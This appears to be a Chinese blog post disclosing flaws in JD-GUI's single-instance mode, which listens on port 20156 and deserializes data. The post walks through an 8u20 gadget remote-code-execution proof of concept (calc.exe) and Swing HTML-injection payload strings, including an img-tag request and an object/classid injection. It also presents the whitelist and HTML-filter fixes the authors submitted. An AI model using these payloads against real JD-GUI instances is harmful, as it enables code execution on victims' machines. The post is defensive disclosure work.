JD-GUI 反序列化 XSS
2023-2-10 00:6:12 Author: mp.weixin.qq.com(查看原文) 阅读量:15 收藏

上周和Y4tacker师傅交流学习,偶然间发现 JD-GUI 在开启某项配置的情况下,会监听端口并反序列化任意的数据,深入研究后发现了一些其他的安全问题,最终我和 Y4tacker 师傅提了两个 issue 并提交了修复代码的 Pull Request 不过 JD-GUI 社区不活跃,很久无回复

入口

在 JD-GUI 的入口类 App 中可以发现以下代码

// 如果开启了某个特殊参数(单例)if ("true".equals(configuration.getPreferences().get(SINGLE_INSTANCE))) {    InterProcessCommunicationUtil ipc = new InterProcessCommunicationUtil();    try {        // 监听端口        ipc.listen(receivedArgs -> controller.openFiles(newList(receivedArgs)));    } catch (Exception notTheFirstInstanceException) {        // 如果无法监听则发送参数        ipc.send(args);        System.exit(0);    }}

如果开启了这个参数,那么你的系统中只会跑一个 JD-GUI (单例)在 Windows 中配置文件 jd-gui.cfg 默认在 C:\\Users\\User\\AppData\\Roaming\\jd-gui.cfg 中。我们需要加入的属性是 UIMainWindowPreferencesProvider.singleInstance

<preferences>    <JdGuiPreferences.errorBackgroundColor>0xFF6666</JdGuiPreferences.errorBackgroundColor>    <JdGuiPreferences.jdCoreVersion>1.1.3</JdGuiPreferences.jdCoreVersion>    <UIMainWindowPreferencesProvider.singleInstance>true</UIMainWindowPreferencesProvider.singleInstance></preferences>

配置好参数,正常启动第一个 JD-GUI 程序。当你启动第二个 JD-GUI 的时候, JD-GUI 尝试监听端口被占用报错,会将当前的启动参数发送到第一个 JD-GUI 中被反序列化,并以文件的方式打开。如下图中,我已经打开了一个 JD-GUI 然后在 IDEA 中设置启动参数为 arthas-core.jar 测试文件,发现第一个 JD-GUI 会直接打开该文件

8u20 RCE

当我看到反序列化的时候,立刻想到的是 8u20 反序列化

先到国外佬的 Github 下一份 8u20 的生成代码:https://github.com/pwntester/JRE8u20_RCE_Gadget

修改 ExploitGenerator#main 方法代码,弹一个计算器即可

String command = "calc.exe";

进入 InterProcessCommunicationUtil 可以发现监听的端口是 20156 

protected static final int PORT = 2015_6;
public static void listen(final Consumer<String[]> consumer) throws Exception { final ServerSocket listener = new ServerSocket(PORT);
Runnable runnable = new Runnable() { @Override public void run() { while (true) { try (Socket socket = listener.accept(); ObjectInputStream ois = new ObjectInputStream(socket.getInputStream())) { // Receive args from another JD-GUI instance String[] args = (String[])ois.readObject(); consumer.accept(args); } catch (IOException|ClassNotFoundException e) { assert ExceptionUtil.printStackTrace(e); } } } };
new Thread(runnable).start();}

运行后生成一个 exploit.ser 文件,通过 Socket 将数据发到 JD-GUI 实现 RCE 攻击

8u20 RCE Fix

对于这个问题的修复很简单,设置反序列化白名单我已将代码提交到 JD-GUI 官方:https://github.com/java-decompiler/jd-gui/pull/417

自定义 ObjectInputStream 并重写 resolveClass 只允许字符串数组( [Ljava.lang.String; )

static class FilterObjectInputStream extends ObjectInputStream {
public FilterObjectInputStream(InputStream in) throws IOException { super(in); }
@Override protected Class<?> resolveClass(final ObjectStreamClass classDesc) throws IOException, ClassNotFoundException { if (classDesc.getName().equals("[Ljava.lang.String;")) { return super.resolveClass(classDesc); } throw new RuntimeException(String.format("not support class: %s",classDesc.getName())); }}

使用安全的 FilterObjectInputStream 进行反序列化

ObjectInputStream ois = new FilterObjectInputStream(socket.getInputStream()));// Receive args from another JD-GUI instanceString[] args = (String[])ois.readObject();consumer.accept(args);

发送 Payload 后报错,成功修复

XSS

当修复反序列化漏洞后,是否还有进一步的利用空间

反序列化收到的字符串数组后,首先构造一个文件集合

protected static List<File> newList(String[] paths) {    if (paths == null) {        return Collections.emptyList();    } else {        ArrayList<File> files = new ArrayList<>(paths.length);        for (String path : paths) {            files.add(new File(path));        }        return files;    }}

当文件不存在时,文件绝对路径会加入一个错误集合中

ArrayList<String> errors = new ArrayList<>();for (File file : files) {    // Check input file    if (file.exists()) {        FileLoader loader = getFileLoader(file);        if ((loader != null) && !loader.accept(this, file)) {            errors.add("Invalid input fileloader: '" + file.getAbsolutePath() + "'");        }    } else {        errors.add("File not found: '" + file.getAbsolutePath() + "'");    }}

在下文中,这个错误集合会被拼接字符串,通过 JOptionPane 显示

for (String error : errors) {    if (index > 0) {        messages.append('\n');    }    if (index >= 20) {        messages.append("...");        break;    }    messages.append(error);    index++;}
JOptionPane.showMessageDialog(mainView.getMainFrame(), messages.toString(), "Error", JOptionPane.ERROR_MESSAGE);

在Java Swing 中,绝大多数的组件都支持 HTML 渲染。简单尝试直接使用 HTML 标签发送

FileOutputStream fos = new FileOutputStream("exploit.ser");ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(new String[]{"<html>Y4TACKER</html>"});fos.write(bytes);fos.close();

发现直接的 HTML 标签不会渲染

经过我们多次的测试,发现开头加入多个换行会解析 HTML 

使用以下的 Payload 测试

FileOutputStream fos = new FileOutputStream("exploit.ser");ObjectOutputStream oos = new ObjectOutputStream(fos);oos.writeObject(new String[] {"/\r\n\r\n\r\n<html><body><h1 color='red'>4ra1n and Y4tacker</h1><body></html>"});fos.write(bytes);fos.close();

结果如下,发现没有完全解析

经过进一步的分析,我发现了这里的原因:

  •  这里的输入字符串会变成 File 类的构造参数

  • 回显使用 file.getAbsolutePath 方法获得

  • 在 Windows 中会把所有的 / 当成路径换成 \ 符导致无法解析闭合标签

在 Mac OS 中不会把 / 替换,所以 Y4tacker 师傅的报告中正常解析

这个问题会导致在 Windows 中不可能实现 SSRF 效果(不确定 Linux 中的处理逻辑)

oos.writeObject(new String[] {"/\r\n\r\n\r\n<html><img src=\"http://127.0.0.1:1234/test\"></html>"});

调试分析真正的字符串如下,无论多少个 / 或 \ 在 file.getAbsolutePath 后都会变成一个

进一步探索

既然无法 SSRF 那么我想到了曾经的 Swing RCE

<html><object classid="?"><param name="?" value="?">

这种方式的不需要标签的闭合即可生效,简单地尝试

oos.writeObject(new String[]{"\n\n\n\n<html><object classid=\"?\"><param name=\"?\" value=\"?\">"});

如图,出现两个红色问号说明已经成功了

接下来是寻找 JD-GUI 是否存在符合的 gadget

- 必须有一个 set 方法

- set 方法必须只有一个参数

- 这一个参数必须是 string 类型

- 该类必须是 Component 子类(包括间接子类)

使用我的工具 jar-analyzer 加入 JD-GUI 和 rt.jar 开始分析

(实际上我写的规则不够完善存在一些误报)

搜索到了一大堆结果,但逐个分析后都没有什么活

随便使用 JLabel 测试 javax.swing.JLabel 

oos.writeObject(new String[]{"\n\n\n\n<html><object classid=\"javax.swing.JLabel\"><param name=\"text\" value=\"hello world!\">"});fos.write(bytes);fos.close();

发送过去如图,产生了变化,说明思路正确,只差 gadget

最后,哪怕 JD-GUI 里存在 gadget 大概率也需要其中的 value 是一个远程地址,由于上文提到的限制很可能无法成功利用。不过,无论如何都应该尝试找一下

XSS Fix

这个问题的修复就很简单了,在 Swing 里注入 html 没有什么花活,只判断 <html> 即可

于是在上文 FilterObjectInputStream 保护反序列化的基础上再过滤一层

https://github.com/java-decompiler/jd-gui/pull/418

ObjectInputStream ois = new FilterObjectInputStream(socket.getInputStream());String[] args = (String[]) ois.readObject();
for (String arg : args) { if (arg.toLowerCase().contains("<html>")) { throw new RuntimeException(String.format("evil arg: %s", arg)); }}
consumer.accept(args);

文章来源: https://mp.weixin.qq.com/s?__biz=MzkzOTQzOTE1NQ==&mid=2247483697&idx=1&sn=12f16e17676caa4a067e891d47f05ab4&chksm=c2f1a46df5862d7ba8afd709058d50f126f449e39686628c48e7ed672066e8e461f0e7f5f470&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh